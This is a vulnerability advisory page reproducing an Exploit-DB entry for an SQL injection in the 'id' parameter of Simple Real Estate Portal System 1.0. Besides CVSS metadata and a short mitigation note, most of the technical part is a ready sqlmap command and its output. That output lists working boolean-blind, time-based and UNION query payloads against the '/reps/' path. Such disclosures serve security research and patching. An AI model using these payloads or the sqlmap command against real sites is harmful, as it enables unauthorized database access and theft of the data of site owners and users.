Simple Real Estate Portal System 1.0 - 'id' SQL Injection

vendor:

Simple Real Estate Portal System

by:

Mosaaed

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Simple Real Estate Portal System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:sourcecodester:simple_real_estate_portal_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Linux

2022

Simple Real Estate Portal System 1.0 – ‘id’ SQL Injection

An SQL injection vulnerability exists in Simple Real Estate Portal System 1.0, which allows an attacker to execute arbitrary SQL commands via the 'id' parameter in a 'view_estate' action to the '/reps/' path. An attacker can use sqlmap to exploit this vulnerability and gain access to the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Simple Real Estate Portal System 1.0 - 'id'  SQL Injection
# Date: 22/02/2022
# Exploit Author: Mosaaed
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15184/simple-real-estate-portal-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Linux mosaaed 5.5.0-1parrot1-amd64 #1 SMP Parrot 5.5.17-1parrot1 (2020-04-25) x86_64 GNU/Linux



# Sqlmap command:

sqlmap -u "http://localhost/reps/?p=view_estate&id=6"  --batch --dbs

# Output:

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=view_estate&id=6' AND 9373=9373 AND 'CcAj'='CcAj

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=view_estate&id=6' AND (SELECT 4967 FROM (SELECT(SLEEP(5)))Lowr) AND 'iyVC'='iyVC

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: p=view_estate&id=-3391' UNION ALL SELECT NULL,CONCAT(0x716b7a7a71,0x6a56556147504d795a536b566c7a4f5659677a65514c706758485a66484f464e5676496470695a41,0x7162767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -